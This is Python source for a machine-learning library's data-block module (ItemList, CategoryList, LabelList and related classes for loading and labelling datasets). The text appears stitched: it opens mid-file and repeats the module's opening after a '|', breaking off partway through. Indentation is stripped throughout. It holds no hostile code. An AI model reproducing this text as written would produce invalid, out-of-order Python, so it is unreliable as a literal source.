def get_files(path:PathOrStr, extensions:Collection[str]=None, recurse:bool=False,
include:Optional[Collection[str]]=None)->FilePathList:
"Return list of files in `path` that have a suffix in `extensions`; optionally `recurse`."
if recurse:
res = []
for p,d,f in os.walk(path):
# skip hidden dirs
if include is not None: d[:] = [o for o in d if o in include]
else: d[:] = [o for o in d if not o.startswith('.')]
res += _get_files(path, p, f, extensions)
return res
else:
f = [o.name for o in os.scandir(path) if o.is_file()]
return _get_files(path, path, f, extensions)
class PreProcessor():
"Basic class for a processor that will be applied to items at the end of the data block API."
def __init__(self, ds:Collection=None): self.ref_ds = ds
def process_one(self, item:Any): return item
def process(self, ds:Collection): ds.items = array([self.process_one(item) for item in ds.items])
class ItemList():
_bunch,_processor,_label_cls,_square_show = DataBunch,None,None,False
"A collection of items with `__len__` and `__getitem__` with `ndarray` indexing semantics."
def __init__(self, items:Iterator, path:PathOrStr='.',
label_cls:Callable=None, xtra:Any=None, processor:PreProcessor=None, x:'ItemList'=None, **kwargs):
self.path = Path(path)
self.num_parts = len(self.path.parts)
self.items,self.x = array(items, dtype=object),x
self.label_cls,self.xtra,self.processor = ifnone(label_cls,self._label_cls),xtra,processor
self._label_list,self._split = LabelList,ItemLists
self.copy_new = ['x', 'label_cls', 'path']
self.__post_init__()
def __post_init__(self): pass
def __len__(self)->int: return len(self.items) or 1
def get(self, i)->Any:
"Subclass if you want to customize how to create item `i` from `self.items`."
return self.items[i]
def __repr__(self)->str:
items = [self[i] for i in range(min(5,len(self.items)))]
return f'{self.__class__.__name__} ({len(self)} items)\n{items}...\nPath: {self.path}'
def process(self, processor=None):
"Apply `processor` or `self.processor` to `self`."
if processor is not None: self.processor = processor
self.processor = listify(self.processor)
for p in self.processor: p.process(self)
return self
def process_one(self, item, processor=None):
"Apply `processor` or `self.processor` to `item`."
if processor is not None: self.processor = processor
self.processor = listify(self.processor)
for p in self.processor: item = p.process_one(item)
return item
def analyze_pred(self, pred:Tensor):
"Called on `pred` before `reconstruct` for additional preprocessing."
return pred
def reconstruct(self, t:Tensor, x:Tensor=None):
"Reconstuct one of the underlying item for its data `t`."
return self[0].reconstruct(t,x) if has_arg(self[0].reconstruct, 'x') else self[0].reconstruct(t)
def new(self, items:Iterator, processor:PreProcessor=None, **kwargs)->'ItemList':
"Create a new `ItemList` from `items`, keeping the same attributes."
processor = ifnone(processor, self.processor)
copy_d = {o:getattr(self,o) for o in self.copy_new}
return self.__class__(items=items, processor=processor, **copy_d, **kwargs)
def __getitem__(self,idxs:int)->Any:
if isinstance(try_int(idxs), int): return self.get(idxs)
else: return self.new(self.items[idxs], xtra=index_row(self.xtra, idxs))
@classmethod
def from_folder(cls, path:PathOrStr, extensions:Collection[str]=None, recurse=True,
include:Optional[Collection[str]]=None, **kwargs)->'ItemList':
"Create an `ItemList` in `path` from the filenames that have a suffix in `extensions`. `recurse` determines if we search subfolders."
path = Path(path)
return cls(get_files(path, extensions, recurse=recurse, include=include), path=path, **kwargs)
@classmethod
def from_df(cls, df:DataFrame, path:PathOrStr='.', cols:IntsOrStrs=0, **kwargs)->'ItemList':
"Create an `ItemList` in `path` from the inputs in the `cols` of `df`."
inputs = df.iloc[:,df_names_to_idx(cols, df)]
res = cls(items=_maybe_squeeze(inputs.values), path=path, xtra = df, **kwargs)
return res
@classmethod
def from_csv(cls, path:PathOrStr, csv_name:str, cols:IntsOrStrs=0, header:str='infer', **kwargs)->'ItemList':
"Create an `ItemList` in `path` from the inputs in the `cols` of `path/csv_name` opened with `header`."
df = pd.read_csv(Path(path)/csv_name, header=header)
return cls.from_df(df, path=path, cols=cols, **kwargs)
def _relative_item_path(self, i): return self.items[i].relative_to(self.path)
def _relative_item_paths(self): return [self._relative_item_path(i) for i in range_of(self.items)]
def use_partial_data(self, sample_pct:float=1.0, seed:int=None)->'ItemList':
"Use only a sample of `sample_pct`of the full dataset and an optional `seed`."
if seed is not None: np.random.seed(seed)
rand_idx = np.random.permutation(range_of(self))
cut = int(sample_pct * len(self))
return self[rand_idx[:cut]]
def to_text(self, fn:str):
"Save `self.items` to `fn` in `self.path`."
with open(self.path/fn, 'w') as f: f.writelines([f'{o}\n' for o in self._relative_item_paths()])
def filter_by_func(self, func:Callable)->'ItemList':
"Only keep elements for which `func` returns `True`."
self.items = array([o for o in self.items if func(o)])
return self
def filter_by_folder(self, include=None, exclude=None):
"Only keep filenames in `include` folder or reject the ones in `exclude`."
include,exclude = listify(include),listify(exclude)
def _inner(o):
n = o.relative_to(self.path).parts[0]
if include and not n in include: return False
if exclude and n in exclude: return False
return True
return self.filter_by_func(_inner)
def filter_by_rand(self, p:float, seed:int=None):
"Keep random sample of `items` with probability `p` and an optional `seed`."
if seed is not None: np.random.seed(seed)
return self.filter_by_func(lambda o: rand_bool(p))
def split_by_list(self, train, valid):
"Split the data between `train` and `valid`."
return self._split(self.path, train, valid)
def split_by_idxs(self, train_idx, valid_idx):
"Split the data between `train_idx` and `valid_idx`."
return self.split_by_list(self[train_idx], self[valid_idx])
def split_by_idx(self, valid_idx:Collection[int])->'ItemLists':
"Split the data according to the indexes in `valid_idx`."
#train_idx = [i for i in range_of(self.items) if i not in valid_idx]
train_idx = np.setdiff1d(arange_of(self.items), valid_idx)
return self.split_by_idxs(train_idx, valid_idx)
def _get_by_folder(self, name):
return [i for i in range_of(self) if self.items[i].parts[self.num_parts]==name]
def split_by_folder(self, train:str='train', valid:str='valid')->'ItemLists':
"Split the data depending on the folder (`train` or `valid`) in which the filenames are."
return self.split_by_idxs(self._get_by_folder(train), self._get_by_folder(valid))
def random_split_by_pct(self, valid_pct:float=0.2, seed:int=None)->'ItemLists':
"Split the items randomly by putting `valid_pct` in the validation set, optional `seed` can be passed."
if seed is not None: np.random.seed(seed)
rand_idx = np.random.permutation(range_of(self))
cut = int(valid_pct * len(self))
return self.split_by_idx(rand_idx[:cut])
def split_by_valid_func(self, func:Callable)->'ItemLists':
"Split the data by result of `func` (which returns `True` for validation set)."
valid_idx = [i for i,o in enumerate(self.items) if func(o)]
return self.split_by_idx(valid_idx)
def split_by_files(self, valid_names:'ItemList')->'ItemLists':
"Split the data by using the names in `valid_names` for validation."
return self.split_by_valid_func(lambda o: o.name in valid_names)
def split_by_fname_file(self, fname:PathOrStr, path:PathOrStr=None)->'ItemLists':
"Split the data by using the names in `fname` for the validation set. `path` will override `self.path`."
path = Path(ifnone(path, self.path))
valid_names = loadtxt_str(self.path/fname)
return self.split_by_files(valid_names)
def split_from_df(self, col:IntsOrStrs=2):
"Split the data from the `col` in the dataframe in `self.xtra`."
valid_idx = np.where(self.xtra.iloc[:,df_names_to_idx(col, self.xtra)])[0]
return self.split_by_idx(valid_idx)
def get_label_cls(self, labels, label_cls:Callable=None, sep:str=None, **kwargs):
"Return `label_cls` or guess one from the first element of `labels`."
if label_cls is not None: return label_cls
if self.label_cls is not None: return self.label_cls
it = index_row(labels,0)
if sep is not None: return MultiCategoryList
if isinstance(it, (float, np.float32)): return FloatList
if isinstance(try_int(it), (str,int)): return CategoryList
if isinstance(it, Collection): return MultiCategoryList
return self.__class__
def label_from_list(self, labels:Iterator, **kwargs)->'LabelList':
"Label `self.items` with `labels`."
labels = array(labels, dtype=object)
label_cls = self.get_label_cls(labels, **kwargs)
y = label_cls(labels, path=self.path, **kwargs)
res = self._label_list(x=self, y=y)
return res
def label_from_df(self, cols:IntsOrStrs=1, **kwargs):
"Label `self.items` from the values in `cols` in `self.xtra`."
labels = _maybe_squeeze(self.xtra.iloc[:,df_names_to_idx(cols, self.xtra)])
return self.label_from_list(labels, **kwargs)
def label_const(self, const:Any=0, **kwargs)->'LabelList':
"Label every item with `const`."
return self.label_from_func(func=lambda o: const, **kwargs)
def label_empty(self):
"Label every item with an `EmptyLabel`."
return self.label_from_func(func=lambda o: 0., label_cls=EmptyLabelList)
def label_from_func(self, func:Callable, **kwargs)->'LabelList':
"Apply `func` to every input to get its label."
return self.label_from_list([func(o) for o in self.items], **kwargs)
def label_from_folder(self, **kwargs)->'LabelList':
"Give a label to each filename depending on its folder."
return self.label_from_func(func=lambda o: o.parts[-2], **kwargs)
def label_from_re(self, pat:str, full_path:bool=False, **kwargs)->'LabelList':
"Apply the re in `pat` to determine the label of every filename. If `full_path`, search in the full name."
pat = re.compile(pat)
def _inner(o):
s = str(os.path.join(self.path,o) if full_path else o)
res = pat.search(s)
assert res,f'Failed to find "{pat}" in "{s}"'
return res.group(1)
return self.label_from_func(_inner, **kwargs)
class EmptyLabelList(ItemList):
"Basic `ItemList` for dummy labels."
def get(self, i): return EmptyLabel()
def reconstruct(self, t:Tensor, x:Tensor=None):
if len(t.size()) == 0: return EmptyLabel()
return self.x.reconstruct(t,x) if has_arg(self.x.reconstruct, 'x') else self.x.reconstruct(t)
class CategoryProcessor(PreProcessor):
"Processor that create `classes` from `ds.items` and handle the mapping."
def __init__(self, ds:ItemList): self.create_classes(ds.classes)
def create_classes(self, classes):
self.classes = classes
if classes is not None: self.c2i = {v:k for k,v in enumerate(classes)}
def generate_classes(self, items):
"Generate classes from `items` by taking the sorted unique values."
return uniqueify(items)
def process_one(self,item): return self.c2i.get(item,None)
def process(self, ds):
if self.classes is None: self.create_classes(self.generate_classes(ds.items))
ds.classes = self.classes
ds.c2i = self.c2i
super().process(ds)
def __getstate__(self): return {'classes':self.classes}
def __setstate__(self, state:dict): self.create_classes(state['classes'])
class CategoryListBase(ItemList):
"Basic `ItemList` for classification."
def __init__(self, items:Iterator, classes:Collection=None,**kwargs):
self.classes=classes
super().__init__(items, **kwargs)
@property
def c(self): return len(self.classes)
def new(self, items, classes=None, **kwargs):
return super().new(items, classes=ifnone(classes, self.classes), **kwargs)
class CategoryList(CategoryListBase):
"Basic `ItemList` for single classification labels."
_processor=CategoryProcessor
def __init__(self, items:Iterator, classes:Collection=None, **kwargs):
super().__init__(items, classes=classes, **kwargs)
self.loss_func = CrossEntropyFlat()
def get(self, i):
o = self.items[i]
if o is None: return None
return Category(o, self.classes[o])
def analyze_pred(self, pred, thresh:float=0.5): return pred.argmax()
def reconstruct(self, t):
return Category(t, self.classes[t])
class MultiCategoryProcessor(CategoryProcessor):
"Processor that create `classes` from `ds.items` and handle the mapping."
def process_one(self,item): return [self.c2i.get(o,None) for o in item]
def generate_classes(self, items):
"Generate classes from `items` by taking the sorted unique values."
classes = set()
for c in items: classes = classes.union(set(c))
classes = list(classes)
classes.sort()
return classes
class MultiCategoryList(CategoryListBase):
"Basic `ItemList` for multi-classification labels."
_processor=MultiCategoryProcessor
def __init__(self, items:Iterator, classes:Collection=None, sep:str=None, **kwargs):
if sep is not None: items = array(csv.reader(items.astype(str), delimiter=sep))
super().__init__(items, classes=classes, **kwargs)
self.loss_func = BCEWithLogitsFlat()
def get(self, i):
o = self.items[i]
if o is None: return None
return MultiCategory(one_hot(o, self.c), [self.classes[p] for p in o], o)
def analyze_pred(self, pred, thresh:float=0.5):
return (pred >= thresh).float()
def reconstruct(self, t):
o = [i for i in range(self.c) if t[i] == 1.]
return MultiCategory(t, [self.classes[p] for p in o], o)
class FloatList(ItemList):
"`ItemList` suitable for storing the floats in items for regression. Will add a `log` if True"
def __init__(self, items:Iterator, log:bool=False, **kwargs):
super().__init__(np.array(items, dtype=np.float32), **kwargs)
self.log = log
self.copy_new.append('log')
self.c = self.items.shape[1] if len(self.items.shape) > 1 else 1
self.loss_func = MSELossFlat()
def get(self, i):
o = super().get(i)
return FloatItem(log(o) if self.log else o)
def reconstruct(self,t): return FloatItem(t.item())
class ItemLists():
"An `ItemList` for each of `train` and `valid` (optional `test`)."
def __init__(self, path:PathOrStr, train:ItemList, valid:ItemList, test:ItemList=None):
self.path,self.train,self.valid,self.test = Path(path),train,valid,test
if isinstance(self.train, LabelList): self.__class__ = LabelLists
def __repr__(self)->str:
return f'{self.__class__.__name__};\n\nTrain: {self.train};\n\nValid: {self.valid};\n\nTest: {self.test}'
def __getattr__(self, k):
ft = getattr(self.train, k)
if not isinstance(ft, Callable): return ft
fv = getattr(self.valid, k)
assert isinstance(fv, Callable)
def _inner(*args, **kwargs):
self.train = ft(*args, **kwargs)
assert isinstance(self.train, LabelList)
self.valid = fv(*args, **kwargs)
self.__class__ = LabelLists
self.process()
return self
return _inner
@property
def lists(self):
res = [self.train,self.valid]
if self.test is not None: res.append(self.test)
return res
def label_from_lists(self, train_labels:Iterator, valid_labels:Iterator, label_cls:Callable=None, **kwargs)->'LabelList':
"Use the labels in `train_labels` and `valid_labels` to label the data. `label_cls` will overwrite the default."
label_cls = self.train.get_label_cls(train_labels, label_cls)
self.train = self.train._label_list(x=self.train, y=label_cls(train_labels, **kwargs))
self.valid = self.valid._label_list(x=self.valid, y=self.train.y.new(valid_labels, **kwargs))
self.__class__ = LabelLists
self.process()
return self
def transform(self, tfms:Optional[Tuple[TfmList,TfmList]]=(None,None), **kwargs):
"Set `tfms` to be applied to the xs of the train and validation set."
if not tfms: return self
self.train.transform(tfms[0], **kwargs)
self.valid.transform(tfms[1], **kwargs)
if self.test: self.test.transform(tfms[1], **kwargs)
return self
def transform_y(self, tfms:Optional[Tuple[TfmList,TfmList]]=(None,None), **kwargs):
"Set `tfms` to be applied to the ys of the train and validation set."
if not tfms: tfms=(None,None)
self.train.transform_y(tfms[0], **kwargs)
self.valid.transform_y(tfms[1], **kwargs)
if self.test: self.test.transform_y(tfms[1], **kwargs)
return self
class LabelLists(ItemLists):
"A `LabelList` for each of `train` and `valid` (optional `test`)."
def get_processors(self):
"Read the default class processors if none have been set."
procs_x,procs_y = listify(self.train.x._processor),listify(self.train.y._processor)
xp = ifnone(self.train.x.processor, [p(ds=self.train.x) for p in procs_x])
yp = ifnone(self.train.y.processor, [p(ds=self.train.y) for p in procs_y])
return xp,yp
def process(self):
"Process the inner datasets."
xp,yp = self.get_processors()
for i,ds in enumerate(self.lists): ds.process(xp, yp, filter_missing_y=i==0)
return self
def databunch(self, path:PathOrStr=None, **kwargs)->'ImageDataBunch':
"Create an `DataBunch` from self, `path` will override `self.path`, `kwargs` are passed to `DataBunch.create`."
path = Path(ifnone(path, self.path))
return self.x._bunch.create(self.train, self.valid, test_ds=self.test, path=path, **kwargs)
def add_test(self, items:Iterator, label:Any=None):
"Add test set containing `items` with an arbitrary `label`"
# if no label passed, use label of first training item
if label is None: label = self.train[0][1].obj
labels = [label for _ in range_of(items)]
if isinstance(items, ItemList): self.test = self.valid.new(items.items, labels, xtra=items.xtra)
else: self.test = self.valid.new(items, labels)
return self
def add_test_folder(self, test_folder:str='test', label:Any=None):
"Add test set containing items from `test_folder` and an arbitrary `label`."
items = self.x.__class__.from_folder(self.path/test_folder)
return self.add_test(items.items, label=label)
class LabelList(Dataset):
"A list of inputs `x` and labels `y` with optional `tfms`."
def __init__(self, x:ItemList, y:ItemList, tfms:TfmList=None, tfm_y:bool=False, **kwargs):
self.x,self.y,self.tfm_y = x,y,tfm_y
self.y.x = x
self.item=None
self.transform(tfms, **kwargs)
def __len__(self)->int: return len(self.x) if self.item is None else 1
@contextmanager
def set_item(self,item):
"For inference, will replace the dataset with one that only contains `item`."
self.item = self.x.process_one(item)
yield None
self.item = None
def __repr__(self)->str:
x = f'{self.x}' # force this to happen first
return f'{self.__class__.__name__}\ny: {self.y}\nx: {x}'
def predict(self, res):
"Delegates predict call on `res` to `self.y`."
return self.y.predict(res)
@property
def c(self): return self.y.c
def new(self, x, y, **kwargs)->'LabelList':
if isinstance(x, ItemList):
return self.__class__(x, y, tfms=self.tfms, tfm_y=self.tfm_y, **self.tfmargs)
else:
return self.new(self.x.new(x, **kwargs), self.y.new(y, **kwargs)).process()
def __getattr__(self,k:str)->Any:
res = getattr(self.x, k, None)
return res if res is not None else getattr(self.y, k)
def __getitem__(self,idxs:Union[int,np.ndarray])->'LabelList':
if isinstance(try_int(idxs), int):
if self.item is None: x,y = self.x[idxs],self.y[idxs]
else: x,y = self.item ,0
if self.tfms:
x = x.apply_tfms(self.tfms, **self.tfmargs)
if hasattr(self, 'tfms_y') and self.tfm_y and self.item is None:
y = y.apply_tfms(self.tfms_y, **{**self.tfmargs_y, 'do_resolve':False})
return x,y
else: return self.new(self.x[idxs], self.y[idxs])
def to_df(self)->None:
"Create `pd.DataFrame` containing `items` from `self.x` and `self.y`."
return pd.DataFrame(dict(x=self.x._relative_item_paths(), y=[str(o) for o in self.y]))
def to_csv(self, dest:str)->None:
"Save `self.to_df()` to a CSV file in `self.path`/`dest`."
self.to_df().to_csv(self.path/dest, index=False)
def export(self, fn:PathOrStr):
"Export the minimal state and save it in `fn` to load an empty version for inference."
state = {'x_cls':self.x.__class__, 'x_proc':self.x.processor,
'y_cls':self.y.__class__, 'y_proc':self.y.processor,
'path':self.path}
pickle.dump(state, open(fn, 'wb'))
@classmethod
def load_empty(cls, fn:PathOrStr, tfms:TfmList=None, tfm_y:bool=False, **kwargs):
"Load the sate in `fn` to create an empty `LabelList` for inference."
state = pickle.load(open(fn, 'rb'))
x = state['x_cls']([], path=state['path'], processor=state['x_proc'])
y = state['y_cls']([], path=state['path'], processor=state['y_proc'])
return cls(x, y, tfms=tfms, tfm_y=tfm_y, **kwargs).process()
def process(self, xp=None, yp=None, filter_missing_y:bool=False):
"Launch the processing on `self.x` and `self.y` with `xp` and `yp`."
self.y.process(yp)
if filter_missing_y and (getattr(self.x, 'filter_missing_y', None)):
filt = array([o is None for o in self.y])
if filt.sum()>0: self.x,self.y = self.x[~filt],self.y[~filt]
self.x.process(xp)
return self
@classmethod
def from_lists(cls, path:PathOrStr, inputs, labels)->'LabelList':
"Create a `LabelList` in `path` with `inputs` and `labels`."
inputs,labels = np.array(inputs),np.array(labels)
return cls(np.concatenate([inputs[:,None], labels[:,None]], 1), path)
def transform(self, tfms:TfmList, tfm_y:bool=None, **kwargs):
"Set the `tfms` and `tfm_y` value to be applied to the inputs and targets."
self.tfms,self.tfmargs = tfms,kwargs
if tfm_y is not None: self.tfm_y,self.tfms_y,self.tfmargs_y = tfm_y,tfms,kwargs
return self
def transform_y(self, tfms:TfmList=None, **kwargs):
"Set `tfms` to be applied to the targets only."
self.tfm_y=True
if tfms is None: self.tfms_y,self.tfmargs_y = self.tfms,{**self.tfmargs, **kwargs}
else: self.tfms_y,self.tfmargs_y = tfms,kwargs
return self
@classmethod
def _databunch_load_empty(cls, path, fname:str='export.pkl', tfms:TfmList=None, tfm_y:bool=False, **kwargs):
"Load an empty `DataBunch` from the exported file in `path/fname` with optional `tfms`."
ds = LabelList.load_empty(path/fname, tfms=(None if tfms is None else tfms[1]), tfm_y=tfm_y, **kwargs)
return cls.create(ds,ds,path=path)
DataBunch.load_empty = _databunch_load_empty
| from .torch_core import *
from .basic_data import *
from .layers import *
__all__ = ['ItemList', 'CategoryList', 'MultiCategoryList', 'MultiCategoryProcessor', 'LabelList', 'ItemLists', 'get_files',
'PreProcessor', 'LabelLists', 'FloatList', 'CategoryProcessor']
def _decode(df):
return np.array([[df.columns[i] for i,t in enumerate(x) if t==1] for x in df.values], dtype=np.object)
def _maybe_squeeze(arr): return (arr if is1d(arr) else np.squeeze(arr))
def _get_files(parent, p, f, extensions):
p = Path(p)#.relative_to(parent)
res = [p/o for o in f if not o.startswith('.')
and (extensions is None or f'.{o.split(".")[-1].lower()}' in extensions)]
return res
def get_files(path:PathOrStr, extensions:Collection[str]=None, recurse:bool=False,
include:Optional[Collection[str]]=None)->FilePathList:
"Return list of files in `path` that have a suffix in `extensions`; optionally `recurse`."
if recurse:
res = []
for p,d,f in os.walk(path):
# skip hidden dirs
if include is not None: d[:] = [o for o in d if o in include]
else: d[:] = [o for o in d if not o.startswith('.')]
res += _get_files(path, p, f, extensions)
return res
else:
f = [o.name for o in os.scandir(path) if o.is_file()]
return _get_files(path, path, f, extensions)
class PreProcessor():
"Basic class for a processor that will be applied to items at the end of the data block API."
def __init__(self, ds:Collection=None): self.ref_ds = ds
def process_one(self, item:Any): return item
def process(self, ds:Collection): ds.items = array([self.process_one(item) for item in ds.items])
class ItemList():
_bunch,_processor,_label_cls,_square_show = DataBunch,None,None,False
"A collection of items with `__len__` and `__getitem__` with `ndarray` indexing semantics."
def __init__(self, items:Iterator, path:PathOrStr='.',
label_cls:Callable=None, xtra:Any=None, processor:PreProcessor=None, x:'ItemList'=None, **kwargs):
self.path = Path(path)
self.num_parts = len(self.path.parts)
self.items,self.x = array(items, dtype=object),x
self.label_cls,self.xtra,self.processor = ifnone(label_cls,self._label_cls),xtra,processor
self._label_list,self._split = LabelList,ItemLists
self.copy_new = ['x', 'label_cls', 'path']
self.__post_init__()
def __post_init__(self): pass
def __len__(self)->int: return len(self.items) or 1
def get(self, i)->Any:
"Subclass if you want to customize how to create item `i` from `self.items`."
return self.items[i]
def __repr__(self)->str:
items = [self[i] for i in range(min(5,len(self.items)))]
return f'{self.__class__.__name__} ({len(self)} items)\n{items}...\nPath: {self.path}'
def process(self, processor=None):
"Apply `processor` or `self.processor` to `self`."
if processor is not None: self.processor = processor
self.processor = listify(self.processor)
for p in self.processor: p.process(self)
return self
def process_one(self, item, processor=None):
"Apply `processor` or `self.processor` to `item`."
if processor is not None: self.processor = processor
self.processor = listify(self.processor)
for p in self.processor: item = p.process_one(item)
return item
def analyze_pred(self, pred:Tensor):
"Called on `pred` before `reconstruct` for additional preprocessing."
return pred
def reconstruct(self, t:Tensor, x:Tensor=None):
"Reconstuct one of the underlying item for its data `t`."
return self[0].reconstruct(t,x) if has_arg(self[0].reconstruct, 'x') else self[0].reconstruct(t)
def new(self, items:Iterator, processor:PreProcessor=None, **kwargs)->'ItemList':
"Create a new `ItemList` from `items`, keeping the same attributes."
processor = ifnone(processor, self.processor)
copy_d = {o:getattr(self,o) for o in self.copy_new}
return self.__class__(items=items, processor=processor, **copy_d, **kwargs)
def __getitem__(self,idxs:int)->Any:
if isinstance(try_int(idxs), int): return self.get(idxs)
else: return self.new(self.items[idxs], xtra=index_row(self.xtra, idxs))
@classmethod
def from_folder(cls, path:PathOrStr, extensions:Collection[str]=None, recurse=True,
include:Optional[Collection[str]]=None, **kwargs)->'ItemList':
"Create an `ItemList` in `path` from the filenames that have a suffix in `extensions`. `recurse` determines if we search subfolders."
path = Path(path)
return cls(get_files(path, extensions, recurse=recurse, include=include), path=path, **kwargs)
@classmethod
def from_df(cls, df:DataFrame, path:PathOrStr='.', cols:IntsOrStrs=0, **kwargs)->'ItemList':
"Create an `ItemList` in `path` from the inputs in the `cols` of `df`."
inputs = df.iloc[:,df_names_to_idx(cols, df)]
res = cls(items=_maybe_squeeze(inputs.values), path=path, xtra = df, **kwargs)
return res
@classmethod
def from_csv(cls, path:PathOrStr, csv_name:str, cols:IntsOrStrs=0, header:str='infer', **kwargs)->'ItemList':
"Create an `ItemList` in `path` from the inputs in the `cols` of `path/csv_name` opened with `header`."
df = pd.read_csv(Path(path)/csv_name, header=header)
return cls.from_df(df, path=path, cols=cols, **kwargs)
def _relative_item_path(self, i): return self.items[i].relative_to(self.path)
def _relative_item_paths(self): return [self._relative_item_path(i) for i in range_of(self.items)]
def use_partial_data(self, sample_pct:float=1.0, seed:int=None)->'ItemList':
"Use only a sample of `sample_pct`of the full dataset and an optional `seed`."
if seed is not None: np.random.seed(seed)
rand_idx = np.random.permutation(range_of(self))
cut = int(sample_pct * len(self))
return self[rand_idx[:cut]]
def to_text(self, fn:str):
"Save `self.items` to `fn` in `self.path`."
with open(self.path/fn, 'w') as f: f.writelines([f'{o}\n' for o in self._relative_item_paths()])
def filter_by_func(self, func:Callable)->'ItemList':
"Only keep elements for which `func` returns `True`."
self.items = array([o for o in self.items if func(o)])
return self
def filter_by_folder(self, include=None, exclude=None):
"Only keep filenames in `include` folder or reject the ones in `exclude`."
include,exclude = listify(include),listify(exclude)
def _inner(o):
n = o.relative_to(self.path).parts[0]
if include and not n in include: return False
if exclude and n in exclude: return False
return True
return self.filter_by_func(_inner)
def filter_by_rand(self, p:float, seed:int=None):
"Keep random sample of `items` with probability `p` and an optional `seed`."
if seed is not None: np.random.seed(seed)
return self.filter_by_func(lambda o: rand_bool(p))
def split_by_list(self, train, valid):
"Split the data between `train` and `valid`."
return self._split(self.path, train, valid)
def split_by_idxs(self, train_idx, valid_idx):
"Split the data between `train_idx` and `valid_idx`."
return self.split_by_list(self[train_idx], self[valid_idx])
def split_by_idx(self, valid_idx:Collection[int])->'ItemLists':
"Split the data according to the indexes in `valid_idx`."
#train_idx = [i for i in range_of(self.items) if i not in valid_idx]
train_idx = np.setdiff1d(arange_of(self.items), valid_idx)
return self.split_by_idxs(train_idx, valid_idx)
def _get_by_folder(self, name):
return [i for i in range_of(self) if self.items[i].parts[self.num_parts]==name]
def split_by_folder(self, train:str='train', valid:str='valid')->'ItemLists':
"Split the data depending on the folder (`train` or `valid`) in which the filenames are."
return self.split_by_idxs(self._get_by_folder(train), self._get_by_folder(valid))
def random_split_by_pct(self, valid_pct:float=0.2, seed:int=None)->'ItemLists':
"Split the items randomly by putting `valid_pct` in the validation set, optional `seed` can be passed."
if seed is not None: np.random.seed(seed)
rand_idx = np.random.permutation(range_of(self))
cut = int(valid_pct * len(self))
return self.split_by_idx(rand_idx[:cut])
def split_by_valid_func(self, func:Callable)->'ItemLists':
"Split the data by result of `func` (which returns `True` for validation set)."
valid_idx = [i for i,o in enumerate(self.items) if func(o)]
return self.split_by_idx(valid_idx)
def split_by_files(self, valid_names:'ItemList')->'ItemLists':
"Split the data by using the names in `valid_names` for validation."
return self.split_by_valid_func(lambda o: o.name in valid_names)
def split_by_fname_file(self, fname:PathOrStr, path:PathOrStr=None)->'ItemLists':
"Split the data by using the names in `fname` for the validation set. `path` will override `self.path`."
path = Path(ifnone(path, self.path))
valid_names = loadtxt_str(self.path/fname)
return self.split_by_files(valid_names)
def split_from_df(self, col:IntsOrStrs=2):
"Split the data from the `col` in the dataframe in `self.xtra`."
valid_idx = np.where(self.xtra.iloc[:,df_names_to_idx(col, self.xtra)])[0]
return self.split_by_idx(valid_idx)
def get_label_cls(self, labels, label_cls:Callable=None, sep:str=None, **kwargs):
"Return `label_cls` or guess one from the first element of `labels`."
if label_cls is not None: return label_cls
if self.label_cls is not None: return self.label_cls
it = index_row(labels,0)
if sep is not None: return MultiCategoryList
if isinstance(it, (float, np.float32)): return FloatList
if isinstance(try_int(it), (str,int)): return CategoryList
if isinstance(it, Collection): return MultiCategoryList
return self.__class__
def label_from_list(self, labels:Iterator, **kwargs)->'LabelList':
"Label `self.items` with `labels`."
labels = array(labels, dtype=object)
label_cls = self.get_label_cls(labels, **kwargs)
y = label_cls(labels, path=self.path, **kwargs)
res = self._label_list(x=self, y=y)
return res
def label_from_df(self, cols:IntsOrStrs=1, **kwargs):
"Label `self.items` from the values in `cols` in `self.xtra`."
labels = _maybe_squeeze(self.xtra.iloc[:,df_names_to_idx(cols, self.xtra)])
return self.label_from_list(labels, **kwargs)
def label_const(self, const:Any=0, **kwargs)->'LabelList':
"Label every item with `const`."
return self.label_from_func(func=lambda o: const, **kwargs)
def label_empty(self):
"Label every item with an `EmptyLabel`."
return self.label_from_func(func=lambda o: 0., label_cls=EmptyLabelList)
def label_from_func(self, func:Callable, **kwargs)->'LabelList':
"Apply `func` to every input to get its label."
return self.label_from_list([func(o) for o in self.items], **kwargs)
def label_from_folder(self, **kwargs)->'LabelList':
"Give a label to each filename depending on its folder."
return self.label_from_func(func=lambda o: o.parts[-2], **kwargs)
def label_from_re(self, pat:str, full_path:bool=False, **kwargs)->'LabelList':
"Apply the re in `pat` to determine the label of every filename. If `full_path`, search in the full name."
pat = re.compile(pat)
def _inner(o):
s = str(os.path.join(self.path,o) if full_path else o)
res = pat.search(s)
assert res,f'Failed to find "{pat}" in "{s}"'
return res.group(1)
return self.label_from_func(_inner, **kwargs)
class EmptyLabelList(ItemList):
"Basic `ItemList` for dummy labels."
def get(self, i): return EmptyLabel()
def reconstruct(self, t:Tensor, x:Tensor=None):
if len(t.size()) == 0: return EmptyLabel()
return self.x.reconstruct(t,x) if has_arg(self.x.reconstruct, 'x') else self.x.reconstruct(t)
class CategoryProcessor(PreProcessor):
"Processor that create `classes` from `ds.items` and handle the mapping."
def __init__(self, ds:ItemList): self.create_classes(ds.classes)
def create_classes(self, classes):
self.classes = classes
if classes is not None: self.c2i = {v:k for k,v in enumerate(classes)}
def generate_classes(self, items):
"Generate classes from `items` by taking the sorted unique values."
return uniqueify(items)
def process_one(self,item): return self.c2i.get(item,None)
def process(self, ds):
if self.classes is None: self.create_classes(self.generate_classes(ds.items))
ds.classes = self.classes
ds.c2i = self.c2i
super().process(ds)
def __getstate__(self): return {'classes':self.classes}
def __setstate__(self, state:dict): self.create_classes(state['classes'])
class CategoryListBase(ItemList):
"Basic `ItemList` for classification."
def __init__(self, items:Iterator, classes:Collection=None,**kwargs):
self.classes=classes
super().__init__(items, **kwargs)
@property
def c(self): return len(self.classes)
def new(self, items, classes=None, **kwargs):
return super().new(items, classes=ifnone(classes, self.classes), **kwargs)
class CategoryList(CategoryListBase):
"Basic `ItemList` for single classification labels."
_processor=CategoryProcessor
def __init__(self, items:Iterator, classes:Collection=None, **kwargs):
super().__init__(items, classes=classes, **kwargs)
self.loss_func = CrossEntropyFlat()
def get(self, i):
o = self.items[i]
if o is None: return None
return Category(o, self.classes[o])
def analyze_pred(self, pred, thresh:float=0.5): return pred.argmax()
def reconstruct(self, t):
return Category(t, self.classes[t])
class MultiCategoryProcessor(CategoryProcessor):
"Processor that create `classes` from `ds.items` and handle the mapping."
def process_one(self,item): return [self.c2i.get(o,None) for o in item]
def generate_classes(self, items):
"Generate classes from `items` by taking the sorted unique values."
classes = set()
for c in items: classes = classes.union(set(c))
classes = list(classes)
classes.sort()
return classes
class MultiCategoryList(CategoryListBase):
"Basic `ItemList` for multi-classification labels."
